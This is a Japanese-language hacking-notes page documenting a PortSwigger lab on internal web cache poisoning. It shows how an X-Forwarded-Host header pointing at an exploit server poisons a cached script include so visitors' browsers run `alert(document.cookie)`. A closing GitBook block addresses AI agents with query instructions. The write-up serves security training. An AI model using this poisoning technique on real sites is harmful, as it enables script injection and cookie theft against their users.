> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/internal-cache-poisoning.md).

# 内部キャッシュ・ポイズニング

内部キャッシュ・ポイズニングの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 内部キャッシュポイズニング

このラボは Web キャッシュのポイズニングに脆弱で、複数のキャッシュ層を使用しています。/ ユーザーは Chrome で定期的にサイトのホームページを訪れます。

目的は次のものをポイズニングすることです **内部キャッシュ** その結果、ホームページが `alert(document.cookie)` 被害者のブラウザ上で。

**初期分析**

ルート（`/`）を解析します **Param Miner**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b63e723f9bc9b1f2723a83202cc060f99ecce3e%2F%7B45C86D99-CFCA-426B-A21B-D50AB40AE16B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**挙動の観察**

クエリに次のヘッダーを追加すると:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5c640240e894c17976e510806a3a5caed880e80%2F%7B9F7F7EF1-D66D-4743-843C-4CC01D08724A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバー応答がこの値を反映していることが分かります。

```http
X-Forwarded-Host: test.com
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd4f7f2ec0ae3d3dd8526bde8e223d0b36c21700%2F%7BA03C2EB7-E5ED-45A7-A18B-77D763D71D8E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ただし、この変更は内部リクエスト間でヘッダーが保持されている場合にのみ確認できます。

このヘッダーを付けて多数のリクエストを送ると、サーバーは最終的に **内部応答をキャッシュします**.

\*\*キャッシュされたコンテンツへの影響\*\*

当初、次の形式で読み込まれていたスクリプト:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

キャッシュをポイズニングした後、次のように変化します:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb6603cfd57e6e6fc485f2b480d1f22793c20d38%2F%7BA417B41A-81DE-4C6C-BBD9-333A3983B323%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このスクリプトのソースは、次を介して注入された値に依存するようになりました: `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

内部キャッシュは悪意のある応答でポイズニングされています。/ 被害者がホームページにアクセスすると、ブラウザは当社のサーバーからスクリプトを読み込み、その結果、次が実行されます:

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
